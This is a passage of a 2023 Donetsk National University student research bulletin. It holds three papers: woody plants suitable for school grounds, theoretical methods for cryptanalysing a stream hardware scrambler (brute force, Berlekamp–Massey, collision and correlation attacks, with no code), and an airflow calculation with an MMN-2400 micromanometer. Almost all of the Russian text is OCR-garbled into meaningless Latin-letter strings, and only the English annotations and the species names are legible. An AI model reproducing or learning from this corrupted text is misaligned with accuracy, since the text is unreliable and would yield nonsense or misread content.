japonica 'Gold Princess’, S. alpina, Cotonester lucidus Schltdl., C. integerrimus Medik.) u
cpearepocibix (Physocarpus opulifolius ‘Luteus’, P. opulifolius ‘Diabolo’, Spiraea xvanhouttei,
Cotoneaster lucidus) kycTapHUKOB BOKPYT ILIOMIA/IOK.

B accoptumeHT pacTeHuid 17151 03€JI€HEHHs TIPULIKOJILHOW TEPPUTOPUH PEKOMEHIOBAHO
BKJIIOYATh XBOMHBIE, Harpumep, Thuja occidentalis L. pasusix copros, Platycladus orientalis (L.)
Franco, Picea pungens Engelm., P. obovata Ledeb., Larix decidua Mill., a rak»xe poma Juniperus
L. [7]. Beipamusanue Ginkgo biloba L. mo3BouT mo3HaKOMUTE 00YUAIOIIUXCSI ¢ PETHMKTOBBIM
BUJIOM I'OJIOCEMEHHBIX PACTEHUH. AKTUBHOE MCIIOJIb30BAaHUE IK30TOB U MHTPOYLIEHTOB, TAKUX
kak Mahonia aquifolium, Potentilla fruticosa mocimyxut pacumpeHnto 60TaHUYECKUX 3HAHUI O
(dnope 3emmu [5].

K wuyncny pacrenmid, NOUIEKAIMMX HUCKIIOYEHUIO W3 O3€JECHEHUS IPUIIKOIBHON
TEPPUTOPHH OTHOCST PACTEHHUs ¢ KOJMIOYKAMHU M InWmamu (BHIBI U copta poma Berberis L.),
UMEIOIIE HeCheI00HbIe, SIOBUTHIC TLUTOIBI U JUCThs (Taxus baccata L., Ligustrum vulgare L.),
BBIZIEJISIIONINE B BO3yX OOJBIIOE KOTUYECTBO (PMTOHIMIOB, (UPHBIX Macell, BbI3bIBAOIIUX
OTpaBJICHHE U MOPAKEHNE PA3INYHBIX OPraHOB, aJUIepriHyecKre 3aboneBanus (Syringa josikaea
J.Jacg.ex Rchb., Ailanthus altissima (Mill.) Swingle).

Baxnyto poib B 03€JIEHEHMH MPUILIKOJILHOTO YYacTKa UTPAroT 3allMTHBIE NoJockL. [1o
MEPUMETPY BHYTPEHHEH 4YacTU MPHILKOIBHON TEPPUTOPUM MPETYCMOTPEHA OJHOPSIIHAS WU
JBYPS/IHAs M1OCAJIKA JIEPEBHEB C IMTPOTYJIIOYHOM TOPOXKKON MEX Y psaaamu. B gononHeHne Moryt
ObITh 100aBJIEHBI JKUBBIE U3TOPOAM C IUIOTHOW KPOHOM, Ojarojapsi yeMmy 3alllUTHbIE CBOWCTBA
JTAHHOM TOJIOCHI MOBbILAt0TCA. [ 60see 3¢ GeKTUBHON M30JA1MY, 110 IEPUMETPY BHEIIHEH
CTOPOHBI TPUIIKOJIBHOM TEPPUTOPHM CIEAYET pa3MellaTh IOJO0CY 3€NEHBIX HacaXKIAECHUM
umpuHoi 5-10 M. PacTeHust 3amuTHON 30HBI JOKHBI OBITH Ta30- U IbLICYCTOWYMBBIMU,
MO3TOMY aCCOPTHMEHT MOXET OBbITh MpeNCTaBieH cienyromumu nopomamu: Populus alba L.,
Acer platanoides, A.negundo L., Ulmus glabra Huds., Tiliaxeuropaea, Robinia pseudoacacia L.,
Sorbus aucuparia, Ligustrum vulgare L., Cornus mas L., Cotinus cotinus (L.) Sarg. u ap.

TpyaHo mepeoleHUTh BO3MOXHBIE BapUAHTHl HMCIOJIb30BAaHUS IPHUILKOJIBHON
TEPPUTOPUU B Y4eOHO-00pazoBaTeIbHOM Ipoliecce. Tak, B COOTBETCTBHH C MPOrpaMMOn
HIKOJIBHOTO Kypca OMOJIOTHH, IPEBECHBIE PACTEHUS IPUIIKOIBHOTO YYacTKa eJIeco00pa3Ho
HCIIOJIb30BAaTh IIPH NPOBEIEHUH IKCKYPCUU IO U3YyUEHHUIO CE30HHBIX U3MEHEHUH B PUPOJE,
CIOCOOOB PACIPOCTPAHEHUS IUIOJIOB M CEMsIH, >KU3HEHHBIX (DOpPM pacTeHUH, OCHOBHBIX
MIPEACTaBUTENCH Pa3HBIX CEMEUCTB W rpymm pacTeHui. s mpuoOieHus oO0yqaronmxcs K
HAy4YHO-HCCIIeI0BaTeNIbCKOW paboTe, 3eJeHble HAaCaKIECHUS MPUIIKOJIBHOIO y4acTKa MOTYT
ObITh 3a/IeHCTBOBaHbI B (DEHOJIOTUYECKUX HAOTIOACHUIX MO M3YyYEHHIO CE30HHOTO pUTMa
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pa3BuTHs pacteHHi. C 1eJbl0 paclIMpeHus 3HaHUH ¥ IPUOOPETEHUs! TPYJOBbIX YMEHUH U
HaBBIKOB, B paMKaX IPUPOJOBEAUECKUX aKIUil, 00ydJaromuxcs MOKHO IPUBJIEYb K Y4aCTHIO
B paboTe 110 CEMEHHOMY U BEr€TaTUBHOMY Pa3MHOXEHHUIO IEPEBbEB U KYCTAPHUKOB C yUYETOM
UX NMOTPeOHOCTH B CBETE, Biare, noysax [8]. Kpome Toro, 1peBecHble pacTeHHsI MOTYT ObITh
UCIOJb30BaHbl B KadecTBE Oa3bl A 3arOTOBKM HArJISIHBIX IOCOOMH, pa3gaToOYyHOro
repObapHOro Marepuana JJis IpoBeIeHUs] YPOKOB OMOJIOTHH.

Takum 00pa3om, apeBecHbIE HACAKACHUS HA MPUIIKOJIBHBIX YYaCTKaX O3€JICHEHUS
JOJDKHBI CO371aBaTh OJarompHUsATHbIE MHKPOKIMMATHUYECKUE W CAHUTAPHO-TMTHEHUYECKHE
ycaoBus. [lpaBuinbHO TOAOOpaHHBI aCCOPTUMEHT PACTEHHH O3€JEHEHHBIX TEPPUTOPUI
CILY>)KUT JOTIOJIHUTEIbHBIM HarsAHBIM MATEPUAJIOM Ul YCBOCHUSI LIKOJIBHON IPOrpaMMbl
no OuoJIOrMM, a TaKkXkKe CIOCOOCTBYET TOBBIIICHUIO I[103HABATEIIbHOW AaKTUBHOCTHU
00yJaroIuxcs.

IIpennokeHHplli aCCOPTUMEHT JPEBECHBIX PACTEHUMN SIBISAETCS aJalTUPOBAaHHBIM K
yCIIOBUSAM T. JIOHEIKa U PpEKOMEHI0BAH [UIsl IIUPOKOTO BHEAPEHUS B IPAKTUKY O3€JICHEHUS
IIPUILKOJIbHBIX TEPPUTOPHUH.

CIIMCOK JINTEPATYPBI

1. Epsun, U.B. O QyHKOMAX CHCTEMBI O3EIEHEHHBIX M MPUPOIHBIX TEPPUTOPHHA: TEPMUHOJIOTHS M
knaccudukarnus / U.B. Ep3un, FO.B. Pasymosckuii // JlecHoit BecTHHK, 2018, Tom 22, Ne 4. — C. 59-65.

2.  Teonmopouckuii, B. C. O3eeHeHre HACCICHHBIX MECT. [ paiocTpOUTEIbHBIC OCHOBHI : y4e0. mocodue
JUTS CTYI. YUpeKaeHui Boicil. mpod. oopaszosanus / B. C. Teomoponckuii, I'. I1. XKepeoduosa. — M. : Akagemus,
2010. - 256 c.

3. T'myxos, A. 3. [lepcriekTHBHBIE IpeBECHbIC pacTeHus il putoausaiiHa B crenHoi 30He / A.3. ['yxoB,
H.®. Jos6bmm, JI.B. Xapxota. — Honernxk : JAHAOH-XXI, 2015. — 154 c.

4. Tpumpko, O. A. PazHOOOpa3ne m COCTOSHUE IPEBECHBIX HACAXKICHHUHA JTaHIImad)THO-PEKpEalIOHHON
30HBI JlenuHckoro paiiona r. Hdoneuka /O.A. I'puppko, A.3. I'myxos, JI.B. Xapxota // IIpombinuieHHas
6oranuka. — 2020. — Bem. 20, Ne 3. — C. 20-25.

5. Tmyxos, A.3. HekoTopbie apeBecHbIC HHTPOIYLICHTH B 03elleHeHnH ropoaa Jonenka / A.3. ['myxos,
O.A. I'punbko // Tpynsl Mo MHTPOAYKINHU M aKKIMMaTH3alMy pacteHuid. — Beim. 1 / mog pen. A.B. @emoposa;
Yim®ULL YpO PAH. — Mxesck, 2021. — C.434—438.

6. TenbHbIx, A.D. [I[peBecHble MHTPOIYLICHTHI B CHCTEME HACAXKICHUH 00LIero 1mojbp30Banus JIeHUHCKOTO
paiionar. Jlonerka / A.D. Tenbubix, O.A. I'punsko / Jlonenkue urenus 2021: obpasoBanue, HayKa, HHHOBAIIUH,
KyJnbTypa ¥ BBI30BBI COBpeMeHHOCTH: MaTepuansl VI MexayHaponHoi HayqHOH KoH(peperunu ([Jonerk, 26—
27 okrsi0pst 2021 r.). — Tom 3: Bruosorunyeckue U MEAUIIUHCKIE HAYKH, YKOJIOTHs / 0] 00IIIel peakuueii mpod.
C.B. becmanosoii. — lonenk: U3n-so JouHY, 2021. — C. 167-169.

7. Tenbnbix, A.Q. XBoiiHbie B o3enenenun ropoaa Jlouenka / A.D. Tempubix, O.A. I'punsko / Oxpana
OKpYXalollel cpelsl M paluOHAIBLHOE HCIIOJIB30BAHUE IPUPOJHBIX PECYpcoB: COOpHHMK MaTepHanoB XV
MexaynaponHoit koH(pepeHnuu acrupanToB u odydatommxcs / JOHHTY, HouHY. — Jorenk: 'OYBIIO
«AOHHTVY», 2021. — C. 247-248.

8.  Oxasosa, 3. I1. Dkosornyecknii y4acTok Kak 3jeMeHT Onoaornueckoro oopasosanus / 3. I1. Okazosa,
3. P. baiibartsipoBa // bantuiickuii rymaHuTapHslii xkypHai. — 2018. — T. 7. — Ne 3(24). — C. 137-140.

WOODY PLANTS OF THE SCHOOL TERRITORY: PRINCIPLES OF SELECTION AND WAYS
OF USE

Annotation. The principles of assortment selection and ways of using woody plants in landscaping the school
area are considered. The proposed range of woody plants is adapted to the conditions of Donetsk and is
recommended for widespread introduction into the practice of landscaping school areas.

Keywords: landscaping, school grounds, woody plants.

Shulga O.1.

Scientific adviser: Hrydko O.A. Ph.D., Associate Professor of Botany and Ecology Department
Donetsk National University

E-mail: Shulgaci28@yandex.ru

143


mailto:Shulgaoi28@yandex.ru

Bectauk CHO IOHHY. Brin. 15. Tom 1: EcrectBennsie Hayku. — 2023,

PdPusuKo-mexHuuecKue
HayKu

VK 003.26.09

METOAbI KPUIITOAHAJIN3A IIOTOYHOI'O AIIITAPATHOI'O HIM®PA

I'yk K. C.
Hayunwit pykosooumens: baouueea M.B., cmapuiuii npenooagamens
1oy BIIO «IOHHY»

Annomayus: padboTa NOCBsILEHa METOIaM KPUIITOAHAIN3a TOTOYHOTO aIllapaTHOro mudpa, B Xo1e paboThl ObLIH
H3y4YeHBl AITOPUTMBI H3BECTHBIX T€HEPATOPOB ICEBIOCITyUaltHBIX [TOCIIeI0BATEIBHOCTEH, a TAKXKE PACCMOTPEHBI
OCHOBHBIE METO/IbI KPUITOAHAIN3A, CAETIAHbI BHIBOJBI O MPEUMYILECTBAX M HEAOCTATKaX NMPUBEICHHBIX METOAOB
KpHIITOAHAJIN3a, KOTOpbIE MOTIYT OBITh HCIIOJIB30BAaHBl [UI aHajlM3a I[OTOYHOTrO amnmapaTHoro Imudpa,
paccmarpuBaeMoro B pabore.

Kniouegvie cnosa: moTouHblit mndp, KPUNTOAHATN3, CKPEMOJINPOBAHHUE.

BBenenune. DddexTuBHBIC CXEMBI MIOTOYHOT'O muppoBaHUs SBIISIOTCS
HEOThEMJIEMOM 4acTblO COBPEMEHHBIX TEJIIEKOMMYHHMKAI[MOHHBIX TEXHOJOTUH. ITO
00YyCJIOBIEHO MPEXJEe BCEr0 BBICOKOM CKOPOCTHIO HIM(POBaHUS, KOTOpask MOXKET OBITh
oOecrniedyeHa Mpu NPUMEHEHUU MOTOYHBIX MHPpoB. CkopocTh popMupoBaHus muUpyromei
raMMa- rocje/10BaTeIbHOCTH Y COBPEMEHHBIX CXeM IOTOYHOTO MHU(pPOBAHUSL, PEATOKEHHBIX
B KauyecTBE IPETEH/IEHTOB Ha E€BPOINEWCKHM CTaHAapT, cocTaBisieT cotHH Mowut/c. s
CO3JIaHMsl KJIOYed TMOTOYHBIX HIM(POB YacCTO HCHOJIB3YIOTCS amllapaTHble CpeicTBa
(anmapaTHbIE TEHEPATOPHI MICEBAOCTYYalHBIX YUCEI, TE€HEPATOPhI HAa CIIBUTOBBIX pErucTpax),
MOCKOJIBKY CUMTAETCs, YTO OHM OoJsiee KpUNTOCTOMKHE MO CPAaBHEHUIO C MAaTEMAaTUYECKUMHU
reHepaTopamMi THUIa KOHTPYIHTHOro reHeparopa. OJHaKoO M Takue MIM(PHI OKa3bIBAIOTCS
ySI3BUMBI K KPUITOAHAIHU3Y, XOTS M KOKYTCS IOCTaTOYHO CTOWKUMH [ 1].

IlocranoBka 3agauyu. HeoOxoammo paccMOTpeTb METOABl KpHUIITOAHAIM3a IS
MOTOYHBIX MHU(POB U B XOJIe aHAJIM3a JTUTEPATYPhl BBIIBUTH JOCTOMHCTBA U HEJOCTATKU UX
MIPUMEHEHHUS JUIs TPEICTABICHHOI0 B pab0Te MOTOYHOTO alapaTHoro mudpa.

IoTounblii annmapatublii mmdp. B nanHoit pabGore Oynmer paccMoTpeHa
MOCJIEIOBAaTEILHOCTh,  3amlM(poBaHHAsE MpuU  MOMOIMM  MUGPPOBOrO  CKpemobiepa,
IIPEJICTAaBICHHOIO HA PUCYHKE 1.

[IpencraBinena Mojenb JMHUM T€peJayd CHUTHajda 3BYKOBOM 4YacTOThl MEXIY
ckpembaepom Ul u geckpem6Oiepom U2.

Ha Bxom ckpemOiepa mojaeTcsi CHUTHAI JOBOJBHO HHM3KOW 3BYKOBOW YaCTOTHI
(cunyconna ¢ yactoroit 100 I'ir) 11t Toro, 4ToOBI OHLIO BOZMOXKHBIM 00pabaThIBaTh 4YacTOTY B
peXHUMe peaJbHOT0 BpEMEHH U UMETh Haubosiee HarsAHYI0 BU3YaIU3aliio JUIs JalbHEeHIIero
aHayu3a.
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Pucynok 1 — Cxema IMHUY Niepejaun CUTHAJIA 3ByKOBOW YacTOTHI MEXKIY
CKpeMOJIepOM U IeCKpeMOIepoM

BuyTpu mukpokonTtposuiepa Ha ckpemOiepe Ul curnain ckiajpiBaeTcs o MOAYIIO J1Ba
(mpumensiercs oneparust XOR) ¢ mocne1oBaTenbHOCTBIO TICEBAOCTYYallHBIX YHCEN, KOTOpas U
aBisgercs KiaodoM. [loTOK JaHHBIX, NOJYyYEHHBIH B pe3ylnbTare CKpeMOIMpOBaHUS
IpE/ICTaBIICH Ha PUCYHKE 2.

Pucynox 2 — CkpeMOIMpoOBaHHBIN TOTOK TAHHBIX

Ha pucynke 3 npezacraieH BbIBOJ Ha ocIuIIorpad ckpeMOJIMpOBaHHOTO CUTHAJIA
(BBIIENIEH PO30OBBIM 1IBETOM) OTHOCUTEIHHO M3HAYAIBHO MOJaBa€MO Ha BXOJ] ckpeMOiepa
CHUHYCOUJIBI (BBIIETICHA )KEITHIM 1IBETOM).
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Pucynok 3 — Curnas, nmojgy4eHHbIH B pe3ylbTaTe CKpeMOIMPOBaHUS

B nannoli peanu3anuu B KauecTBE KJII0Ya UCIOIb30BaNIaCh TabIUIIa 1CEBIOCTyYalHbIX
qHceN, IMOJIyueHHas C OHJIAMH TreHeparopa ciydaiHbix wucen http://randstuff.ru/number/.
Tabnuia nponucaHa B K0j1€ MUKPONPOIIECCOPA, UCIIOIB3YEMOIO B CKpeMoOJIepe.

MeTtoabl KpUNTOAHAIN3A MOTOYHBIX WKEPoB. [1g noTounsix mudpoB Hanboee
W3BECTHBIMU SIBJISIFOTCSI METO/bl KPUIITOAHAIN3A, IPUBEACHHbIC HUKE:!

* METO/I MOJIHOTO Mepedop KITIoUe;

* merox bepnexkamna-Macceu;

* MOOOYHBIE aTaKHU;

* KOpPEJSALMOHHBIE METOBL;

PaccmoTpum noapoGHee kax bl MeTo [2].

Metoa nosnoro nepedéopa. Mero nojsHoro nepedopa Kiroua npeanoaraet nepedop
BCEX BO3MOXKHBIX KIIFOUEH JIsl JaHHOTO Hmndpa.

Cno’XHOCTh IOJIHOTO Mepedopa KiItoued Ajis MOTOYHOIo mudpa 3aBUCUT OT JIJIUHBI
KiIro4a. J{Jis KiIro4a JUTHHBL N MOJTHBIN riepedop Oyaet umeTsb ciiokHocTh O(2"). Takum oOpazom,
4yeM JUIMHHEE KJII0Y, TeM OOoJIbIle BpEMEHHU M PECypcoB MOTpedyeTcs Ul MOJIHOro nepedopa
KJIFOUYEH.

B Teopuu 3T0T MeTO1 MOKET OBITh MCIOJIB30BAH JJISl aHAJIM3a IOTOYHOT'O alapaTHOro
mudpa, HO OH SABJISETCS JOCTATOYHO 3aTPATHBIM B pecypcax W BpPEMEHH, TaK KaK, KpoMme
nepedopa BCEX BO3MOXHBIX KIIIOUEH, NMPU 3TOM JOJDKHO OCYHIECTBIATHCA IOCTOSHHOE
nemndpoBaHue Ha KaxJIoM Kirode. B maHHOM peanus3anuu B KayecTBe KIOYa MCIOIb3YeTCs
Tabmuma u3 150 cuMBOJIOB TIpeACTaBICHBI TIceBIOCTyYaitHbIe (Pl oT 0 10 255, cormacHo
OCHOBaM KpHITOAHAIM3a moTpebyercs mepebpars 150%°° cumBomOB, 4TOOHI HAHTH >TH
MICEeBIOCTyYaliHbIE YHCIIa U TOpa3fo OOJbIIE Omnepaiuid, 4ToObl BBICIUTh M3 OErymieil ot
CKpeMOJiepa oCIeJ0BaTeIbHOCTH 3BYKOBYIO COCTABIISIIOLIYIO.

Meton bepaexkamma-Maceu. AnroputMm bepiekammna-Maccn mpeamnoiaraer, 4To
MOKHO TIOCTPOMTH SKBHBAJICHTHBIN JIMHEHHBIA PEKYppEeHTHBIN perucTp, KOTOpbIi Oyzaer
(hopMHUPOBATh TAaKYyH K€ IMOCIIEN0BATEILHOCTh, KOTOPYIO GopMupyeT mudpoodpasyromiee
YCTPOMCTBO.

Ha cxeme, npeacTaBiieHHOM BBIIIE HA PUCYHKE 1, MOXKHO YBHAETh MUKPOKOHTPOJLIED
U2, KOTOpbIi BBIMOMHAET (DYHKIHUIO JECKpPEeMOTUpPOBAHMS, CKJIAAbIBAS 3alIM(PPOBAHHYIO
MOCJIEI0BATEIBHOCTh 10 MOAYIIO J[BA CO CrEHEPUPOBAHHON MOCIEI0BATEIbHOCTHIO,
COOTBETCTBYIOLIEH TOM, KOTOpas 3alKMcaHa B KOJ MHKPOIPOLECCOPA, OCYLIECTBIISIOIIETO
ckpemOnupoBanue. Heo6xoauMo BbIACTUTH HECKOIBKO KIIFOUEBBIX aCIIEKTOB JAHHOIO METO/1a,
KOTOpBIE YCIOKHAIOT IPUMEHEHNE JAaHHOTO METO/1a Ha IPAKTUKE:
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* JUI HOCTPOEHMS SKBUBAJIEHTHOI'O JINHEHTHOT'O PEKYPPEHTHOIO PErMcTpa HE0OXOAUMO
3HATh OTPE30K OTKPBITON WH(POPMAIIUM M COOTBETCTBYIOIICH €if KPUIITOTpaMMe JTOCTATOYHO
00JIbIION BEJINYMHBI,

* HEOOXOAMMO TMPABHIBHO BBIOPATh TOYKH CHHXPOHHU3AIMH MEXIY CKpeMOJIepoM H
JTUCKPEMOJIEPOM.

[TockonbKy B AaHHOW peaju3allid MBI 3HA€M OTPE30K OTKPHITOM HH(pOpMALUU U
COOTBETCTBYIOLLIEH €l KpunTorpamMme JIOCTaTOYHON BEJIMYMHBI, a 4YTE€HUE TaOJIHUIl
CUHXPOHHU3UPOBAHO 110 HECKOJIBKUM TOYKaM, TO JI€CKPEMOIMPOBAaHHBIN CUTHAJ HA BUJL HUYEM
HE OTJINYAETCS OT TOT0, KOTOPBIH OBbLI MMOAAaH C UCTOYHHMKA 3BYKOBOT'O CUTHAJA U TPEACTABICH
Ha pucyHKe 4. PO30BBIM IIBETOM BBIJICJIEH JECKPEMOIMPOBAHHBIN CUTHAI, a JKEITHIM L[BETOM
M3HAYaJIbHbIA CUTHAJ, 10/IaBAEMbIH Ha BXOJ1 cpeMOJIepa.

| Channel C

Pucynox 4 — Curnain, mosry4eHHbIH B pe3yIbTaTe IeCKPeMOINpPOBaHUS

Ilo6ounble aTtakm. [loOouHble aTakuM MOTYT OBITH HCIOJIB30BAaHbI JUISl IOJIyYEHUS
uHpOpMaLMU O KY€ IOTOKOBOTO LIM(pa B pealbHOM BPEMEHHU IpU Mepesadye JaHHbIX 10
KaHaiy cBs3u. Takum 00pa3om, MOOOYHBIE aTaKU MOT'YT OBITh MCIIOJIb30BaHbI ISl OTYYEHUS
UH(OPMaLIKH O KJIF0Ue MOTOKOBOro Hdpa 6e3 moaHoro nepedopa Bcex BO3MOXKHBIX KIHOUEH.

[ToOouHble aTaky Ha MOTOYHBIA MMQP 3aKIIOYAIOTCS B TOM, 4TO (opMupyemas Ha
OJTHOM KJItoU€ IHK(porpamMma moBTopsieTcs U 3aiupoBbIBaET pa3Hyto nHpopmanuio. B Takom
clly4ae MPOMCXOAMUT MepeKphITe mudpa, U 3amminaeMas HHPopMalus MOKET OBbITh JIETKO
nemudpoBaHa.

Tak kak B JaHHOM HCCJIEIOBAaHUM MCIIOJIb30BAIACh CUHYCOUJA OJHOW YacTOTHI, TO
HOBTOpEHUs] Hen30ekHbl. OHAKO NMpH MH(PPOBAHUN PEUYEBOT0 CUTHANA PE3yNbTaThl OyIyT
CYIIECTBEHHO OTIMYAThCA.

Koppeasiunonnbie ataku. B cBsi3u co crenudukoi nocTpoeHHs MOTOUYHBIX MHU(POB,
Haubosee pacnpoCTpPaHEHHBIMU aTaKaMU Ha MOTOYHbIE MIHQPHI ABIAIOTCS KOPPEISLUOHHbIE
aTakl, KOTOPbIE HCHOJb3YIOT KOPPEALMIO MEXIY BXOIAHBIMH JaHHBIMU M BBIXOJHBIMU
JaHHBIMU TOTOYHOTO IHdpa A HoTydyeHUs: HHPOpPMAIUH O KIIH0Ye.

Tak, Hanpumep, uccnenonarenb Mocrada XaccaH cymen B3jlIOMaTh JiBa TeHepaTopa
NICBEAOCIYYalHBIX YHCENl C IOMOIBI0 MalMHHOTO oOydeHusa. OOyueHHas JBYycCIOHas
HelpoceTh npejckasana Bbiady reneparopa xorshift128 ¢ rounoctsro 100% [3].

B n1aHHOM wuccienoBaHMM Mbl HE TPUMEHSUIM KOPPENSLMOHHBIE aTakh K
TNICEeB/IOCTYYaHOM MOCIIe10BATEIbHOCTH YHCEIT TS ITOJTyYSHHS KITF0Ua U JeCKpeMOIMPOBaHUN
CUTHAJIa, OJHAKO OOYy4YEeHHAass HEHPOCeTh MOXKET HAWTH B3aHMMOCBSA3b MEXIY BXOAAIIUMHU U
UCXOJAIIMMHU YUCIIAMU U, CIIEI0BATENBHO, BCKPBITh KIIHOY.

BeiBoabl. Kpunrtoananus ammapaTHbIX TMOTOYHBIX HIM(PPOB, XOTh U SBIAETCS
JIOCTaTOYHO CJIOKHOM 3ajaueil, HO oNpaBJaH MUPOKUM NPUMEHEHHEM TAaKOI'O POJa CHCTEM.
[Ipu mocTpoeHUM M MPUMEHEHHH CHCTEM allllapaTHOTO MOTOKOBOrO IMIM(POBAHUS CIEAYET
oOpamath BHUMaHHE Ha BO3MOXKHOCTh BOCCTAHOBJIEHHS MX KIIOYEH, OCOOEHHO €Cli OHHU
HEOOJIBIION JJIMHBIL, B TO BpeMsl KaK €CIM KJIIOYM MMEIOT AJIUHY, PaBHYIO JUIMHE OTKPBITOIO
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TEKCTa, TO YCIIOKHSIETCS pacipeaeIeHue U XpaHeHUE KIIFOUeH, KpoMe TOTO BCTAIOT MPOOIIEMBI,
CBSI3aHHBIE C CHHXPOHHU3AIMEN YYaCTHUKOB CEKPETHOTO OOMEHA.

Pe3ynbraThl, TONyYeHHBIE TpPU PACCMOTPEHHHM  BBINICHU3IOKEHHBIX  METOIOB
KPUNTOAHATIM3a MOTYT OBITh YUYTEHBI MPU JAIBHEHIINX MCCICIOBAHUAX B TaHHOW 00iacTu, a
TaKke OBITh MCHOJB30BAaHBI B TEOPETHYECKOM M INPAKTUYECKOW dYacTsax Kypca «OCHOBBI
MH(POPMALMOHHOM 0€30MacHOCTH.
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THE STREAM HARDWARE CIPHER CRYPTOANALYSIS METHODS

Annotation: the work is devoted to the stream hardware cipher cryptanalysis methods, the algorithms of known
pseudo-random sequences generators were studied, and the main methods of cryptanalysis were considered,
conclusions of the advantages and disadvantages of the given cryptanalysis methods that can be used to analyze
the stream hardware cipher considered were drawn.

Keywords: stream cipher, cryptanalysis, scrambling.
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BBIYUCJIEHUE CKOPOCTH BO3YIIHOTI'O ITIOTOKA 110 IIOKA3ZAHUAM
MMH - 2400

Jemuoosa E.A., 303y1a A.A.,

Hayunwie pykosooumenu: Ilomemyn E.J]., kano.mexu.nayx, cmapuiuiit npenooasameJiv
Jlebeoee B.H. cmapwuii npenooasames

oy BIIO «/[OHHY»

Annomayus. B padote onmcaH crioco0 BBIYHMCIECHHS CKOPOCTH BO3JYIIHOTO MOTOKAa Mo nuddepeHnnansHoMy
JIaBJICHUIO, U3MEPEHHOMY MuKpoMaHomerpoM MMH-2400. TabmuyHble 3aBHCHMOCTH IUIOTHOCTH 3THIIOBOTO
cnupra ¥ BO3AyXa OBUIM amNlpPOKCHMHUPOBAaHBl aHAIUTHYECKUMH YpPaBHEHHSMH, IIPUYEM, IOJyUYCHHbBIS
COOTHOIICHHS W KOA(PQHUIUECHTH ObLIM NpPUBS3aHBI K TeorpaguyeckuM KOOpIWHATaM W TpeoOpa3oBaHbl B
ypaBHEHHE, He TpeOyIoliee HCIOIb30BaHUs CIIPAaBOYHBIX JIAaHHBIX. BBIOJIHEHa OlleHKa MOTPEIIHOCTH JAaHHOTO
METOo/1a.

Knrouesvie cnosa: mukpomanomerp MMH-2400, ckopocTh BO3AYIIHOTO OTOKA, INIOTHOCTh BO3AyXa, IJIOTHOCTb
CIHPTA, ANNPOKCUMALIHS.

BBenenne. OOnacTe NMpPUMEHEHHS MHKPOMAaHOMETPOB OXBaThIBAET MHOTHE CQepsl
YeJI0OBEUYECKON NIEATEIbHOCTU: 3KOJOTMYECKMII MOHUTOPHUHI Pa3IMYHbIX IPOU3BOJCTBEHHBIX
BbIOPOCOB; TEXHOJOTMYECKUM KOHTPOJb Ta30IbUIEBBIX I1OTOKOB; OIPEIEICHUE CKOPOCTH
BO3/YLIHOTO NIOTOKA B a9POAMHAMMYECKHX, Fa30BbIX U BEHTUISALMOHHBIX CHCTEMAXx; IIOBEPKa
pabounx mpubopoB u T.A. B 3KcrepuMeHTATFHONW a’pOJMHAMHKE IITHUPOKO PaCIpOCTpaHEH
METOJl M3MEpPEHMs. CKOPOCTH Ta30BbIX IOTOKOB C TOMOLIbIO AU(QepeHIraIbHbIX
MukpoManoMeTpos TunoB MMH u MKB u np.

[Tpr u3MepeHHH CKOPOCTH BO3AYIIHBIX IOTOKOB MHKPOMaHOMETpaMH HEOOXO0JIUMO
YUUTHIBaTh 3aBUCUMOCTH IIJIOTHOCTH BEILECTB, HCIOJIb3YIOIIUXCS B KayecTBe paboueit
KUAKOCTH, OT TemnepaTypsl. Hanpumep, naMeHeHne TemrnepaTypsl B IOMEIIEHUN B JUaNa30HE
or 15C° no 35C° mnpuBOAUT K W3MEHEHHUIO IUIOTHOCTH CIHUPTA W BO3HUKHOBEHUIO
NOTPEIIHOCTH, IPEBBILIAIONIEN OCHOBHYIO mnorpemHocts MMH-2400. Ha mnpakruke,
U3MEpEeHHe TeMIepaTypbl HE BbI3BIBAET TEXHUYECKUX CIIOKHOCTEH, HO OIpeaeseHue
IUIOTHOCTEH KMJAKOCTEM M Ta30B NPOU3BOJUTCS CPEACTBAMM H3MEPEHUH, 3a4acTyro
OTCYTCTBYIOIIMX B Y4eOHbIX Jaboparopusix. Kak mnpaBuio, u3aMepsieTcss TeMmieparypa B
MIOMEILEHUH, 3aTEM C IOMOIIBIO CIIPAaBOUYHUKOB OIPENEISAIOTCS 3HAUE€HUS INIOTHOCTH BEILECTB,
Y TIOJTy4YEHHBIE BEJTMUUHBI TIOJICTABIISIFOTCSI B UTOTOBOE YPAaBHEHUE JJIsl BBIYUCIIEHUSI CKOPOCTH
ra3oBOro IOTOKa I10 Nepenaay AaBJIeHUs Ha MUKPOMaHOMETPE.

TemnepaTypHast Koppekius TpeOyeT HaJW4yHusl CIPABOYHON JUTEPATypbl U TPYAHO
MOJ/IAETCsl aBTOMATHUYECKOM 00paboTKe pe3ynbTaToB. B manHoi paboTe paccMOTpeH crocoo,
MO3BOJIIOMIMNA  UCKJIIOYUTH HCIIOJNBb30BAaHHE CIPABOYHBIX JAaHHBIX. JIOMOJHUTENBHBIM
IIPEUMYIIECTBOM  SIBJIIETCSA BO3MOJKHOCTb IIPOIPAaMMHOM peaju3alluu TeMIIepaTypHOR
KOMIIEHCAIIUM M3MEHEHHs TUIOTHOCTHU. [ 3THX 1eneld MOTYT HCHOJIb30BaThCsl LU(POBHIE
tepmoMeTpsl Trma DS18B20, Bxkmtouennsie k [1K ¢ momompio USB yepes 1-wire koHBepTep.

IlocranoBka 3agaun. MUKPOMaHOMETPHI SIBIISIOTCS TEPEHOCHBIMU TpuOopamu. Ha
pucyHKke | mpencraBieHa yHpOIIEHHAs CXeMa MUKPOMAaHOMETpA C HAaKJIOHHOW CTEKIISTHHON
u3MeputenbHoi Tpyokoit MMH-2400. B xauecTBe paboueil )UAKOCTH B MUKPOMaHOMETpax
ATOTO TUIA MPUMEHSIOT ATUIIOBBIA CIIUPT.
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Puc. 1. CxeMa MHKPOMAaHOMETpA C HAKIOHHO# CTEKIISHHON M3MepHTeNbHOI Tpy6oKoit MMH-2400: P -
JlaBJIeHNE; ¢ - yroJ HakJIoHa TpyOku; | - 1nHa cTon6a sxuakocTy B TpyOke; N — BBICOTA MOAHATHS KUAKOCTH
B TPyOKe M0 BEpPTHKAJIH.

Mo neiictBueM naBiaeHust P ypoBeHb KHIKOCTH B TPyOKe, HAKJIOHCHHOM MO YTJIIOM <
K TOPU30HTAIBHOM TUIOCKOCTH, TOJHUMETCS, ¥ AJTUHA CTOI0a KUJAKOCTH B HAKIIOHHON TpyOKe
Oyznet|. 3To OyneT cooTBETCTBOBATH MOJHATHIO KHUJKOCTH B Y3KOU TpyOe MO BEpTUKAIU Ha
BBICOTY:

h =I-sinea.

